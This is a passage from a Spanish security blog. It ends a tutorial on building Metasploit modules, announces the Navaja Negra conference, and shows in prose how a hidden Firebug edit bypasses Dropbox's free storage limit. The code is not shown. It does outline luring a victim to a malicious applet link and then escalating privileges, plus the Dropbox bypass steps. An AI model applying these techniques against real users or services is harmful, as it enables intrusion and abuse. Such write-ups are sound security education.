    • El uso de la variable datastore["exec_file"], que nos permite acceder a las opciones que ha configurado el usuario
    • En mi caso he dejado el código de la shellcode que he usado desde el principio ya que el código no tenía prácticamente nada de espacio para inyectar los payloads de MSF, pero lo interesante es hacer referencia a la variable payload.encoded, permitiendo utilizar al usuario el payload que haya seleccionado

    Por último indicar que en nuestro módulo podemos segmentar el código a través de todos los métodos que consideremos necesarios, además de poder incluir un método check para comprobar si el sistema configurado es vulnerable y que pueda ser invocado desde la consola MSF con el comando check.

    Ejecutando el exploit


    Un último detalle que nos puede ahorrar mucho tiempo cuando estamos trabajando con Metasploit y el desarrollo de nuevos módulos es el uso de Resource Scripts, en mi caso yo he utilizado el siguiente:


    Y ya sin dar más vueltas, desde la sesión del atacante iniciamos Metasploit con "msfconsole" y cargamos el resource script:


    Invitamos al cliente a visitar el enlace indicado por el exploit java_signed_applet, y veremos en nuestra consola de MSF como se recibe una una nueva sesión a la que nos podemos conectar:


    En este caso vemos como tenemos acceso a una sesión con la cuenta del usuario, así que vamos a ejecutar el exploit que hemos preparado y que en nuestro escenario supondrá una elevación de privilegios:


    Conclusiones finales

    No abunda la documentación sobre desarrollo de módulos de Metasploit, pero algunos de los enlaces que encontraréis más interesantes son los comentados durante el artículo:
    • Wiki del proyecto
    • Documentación en la Web de Offensive-Security
    • Googlear ejemplos con consultas del tipo:
      • site:exploit-db.com "MSF::Exploit::Local"
      • site:exploit-db.com "MSF::Exploit::Remote"

    Artículo cortesía de Miguel Ángel García
    Leer más...

    13 julio 2014

    Enlaces de la SECmana - 232

    Leer más...

    11 julio 2014

    Cuarta edición del Congreso de Seguridad Navaja Negra



    Ya es vox populi! 

    Navaja Negra, uno de los Congresos de Seguridad en España que más han evolucionado en los últimos años desembarca a primeros de Octubre (en concreto, del 2 al 4) con su cuarta edición. El evento se celebrará una vez más, en Albacete, ciudad muy agradable, con un ambiente genial en la que el año pasado tuve el placer de participar.

    Personalmente, por las personas que lo organizan como Pedro CandelDaniel García o Alejandro Sáiz, el esfuerzo y tesón que ponen todos los años para hacer un evento de seguridad digno, a partir de unos recursos muy limitados, así como por la transparencia total con la que operan, es por lo que merecen toda mi admiración.

    En esta edición, la organización ha apostado por un modelo aún más participativo, en el que tanto las charlas como los talleres, serán votados por los propios asistentes y participantes de las jornadas, una vez que hayan realizado y confirmado el pago de la inscripción. En este sentido, y como podéis comprobar en la página web del evento veréis que sólo se conoce el título y descripción de la charla/taller, de manera que no influya el autor, a la hora de ser llevada a cabo la votación, sino el contenido ofrecido.   

    Este año, entre otras novedades, habrá un área de reclutamiento, en la que las empresas colaboradoras aceptarán currículums de los participantes, lo que supone una gran oportunidad profesional, además de lo académico de los talleres y charlas.

    Gracias a las subvenciones de patrocinadores y empresas colaboradoras, el coste de la entrada es ridículo: 20 euros para estudiantes y/o desempleados que así lo acrediten y 30 euros para los demás. Teniendo en cuenta que con la entrada, además del acceso a las charlas y hasta 4 talleres, dispondrás de catering (desayuno, comida y merienda incluídos), en los que se podrá disfrutar (doy fe) de un ambiente genial, perfectamente comparable con eventos como el de RootedCon, NoConName, ConectaCON, Hackron o MorterueloCON, en los que la camaradería y el sentido de comunidad y de disfrutar de la compañía de buenos amigos se siente en la sangre desde primera hora!

    Si tienes disponibilidad la primera semana de Octubre, no puedes faltar a uno de los eventos de seguridad más geniales del panorama español. 


    Puedes ver toda la información del evento en http://navajanegra.com 

    ATENCIÓN: Security By Default, premia tus contribuciones!!! 

    Queremos tener un detalle con nuestros colaboradores, sin los que este blog no sería lo que es. Así, a partir de hoy, y hasta el 31 de Agosto, aquellos que escribáis posts como contribución en Security By Default, participaréis en un sorteo de una entrada al evento (gastos de desplazamiento y hotel NO incluídos). Ganará aquel autor cuyo post haya tenido más retweets del twitter de Security By Default... Así que, si quieres entrar a Navaja Negra por la patilla, envíanos un correo a contacto@securitybydefault.com y cuéntanos tu propuesta.
    Leer más...

    10 julio 2014

    ¿Límite de espacio? No en Dropbox….

    Los servicios de almacenamiento están a la orden del día. Los usamos para hacer backup de nuestros datos, para compartir grandes volúmenes de información etc…

    La mayoría de estos servicios te dejan un espacio gratuito y te cobran por querer almacenar mas datos. También suelen incluir limitaciones como limitar la velocidad en las descargas.

    Uno de los servicios mas usados es Dropbox, tienes una cuenta gratuita si quieres, es multiplataforma e incluso puedes instalarla en tu Smartphone o Tablet.

    Con NaxoneZ, se nos ocurrió echarle un vistazo a Dropbox a ver si podíamos encontrar alguna vulnerabilidad en su plataforma para optar al Bug Bounty.

    Después de buscar y buscar a NaxoneZ se le ocurrió una manera curiosa de saltarse una de las restricciones que aplica Dropbox, el espacio con la cuenta gratuita.

    ¿Cómo se explota la vulnerabilidad?

    Antes de entrar en detalle, vamos a ver cuanto cuesta el servicio Premium y que características ofrece:


    Además de pagar Dropbox ofrece descuentos si eres Universitario si comprabas algún Smartphone de la marca HTC, si invitabas a otros usuarios a formar parte del servicio etc… Es decir, ofrece facilidades para el aumento de espacio.

    Pero no contentos con eso, decidimos echarle un vistazo para ver si podíamos hacer Bypass de la restricción. Para ello, no hizo falta nada mas que:

    · Alguien que te comparta una carpeta con un tamaño superior al permitido en la cuenta free
    · Un navegador
    · Cuenta en Dropbox (Obviamente xD)
    · Firebug

    Lo primero que haremos será compartir una carpeta con un tamaño por ejemplo de 35 GB. Cuando se comparte una carpeta, Dropbox manda una solicitud al usuario al que le has compartido la carpeta.

    Cuando el usuario que recibe la invitación quiere aceptar la carpeta, si no dispone de espacio suficiente por el tipo de cuenta que tiene, podrá ver el botón de “Aceptar” deshabilitado y un “bonito” mensaje que pone:

    “You need more space to accept this folder".

    Yo no quería compartirle la carpeta a NaxoneZ y le dije que pagara la cuenta Premium, “que eran 4 chavos” y que no podría compartirle la carpeta porque no era usuario Premium. Ante eso, solo pudo tomar una posición:
    Si le pegamos un vistazo al código fuente, vemos:


    Esto lo cambiaremos por:


    Una de las líneas importantes a tener en cuenta es:


    Deberemos de cambiar ese valor, por el de la carpeta a la que queremos obtener acceso.
    Para obtener dicho valor, deberemos de mirar el código fuente del botón donde pone Deny.


    Finalmente se consigue tener acceso a la carpeta, saltando la restricción del espacio.
    Es gracioso que incluso en el estado de nuestra cuenta aparece que hemos sobrepasado el espacio.


    Alguno puede pensar que es un fallo de seguridad tal y como creemos NaxoneZ y yo, pero en cambio Dropbox contestó lo siguiente:

    No contentos con la respuesta preguntamos el motivo de no aceptación del fallo.
    La respuesta fue:


    Obviamente no estamos de acuerdo, ya que si se hiciera de forma masiva, Dropbox podría encontrarse en un grave problema. ¿Vosotros que opináis?

    Por otro lado, la camiseta prometida por el “fallo” nunca ha llegado, pero si el aumento de espacio. Pero… Lo del espacio ya lo teníamos, ¿Qué  hemos ganado? xD

    Este es uno de los ejemplos en los cuales se ve claramente como no es aceptado un fallo usando la opción de Bug Bounty que ofrecen algunas empresas.

    Para no tener problemas con la publicación, avisamos de que lo haríamos público (ahí pensamos que se tirarían para atrás), pero nuestra sorpresa fue recibir esto

    Así que nada, si no es importante a nadie le importará que lo hagamos público

    Artículo cortesía de @NaxoneZ y @Seifreed
    Leer más...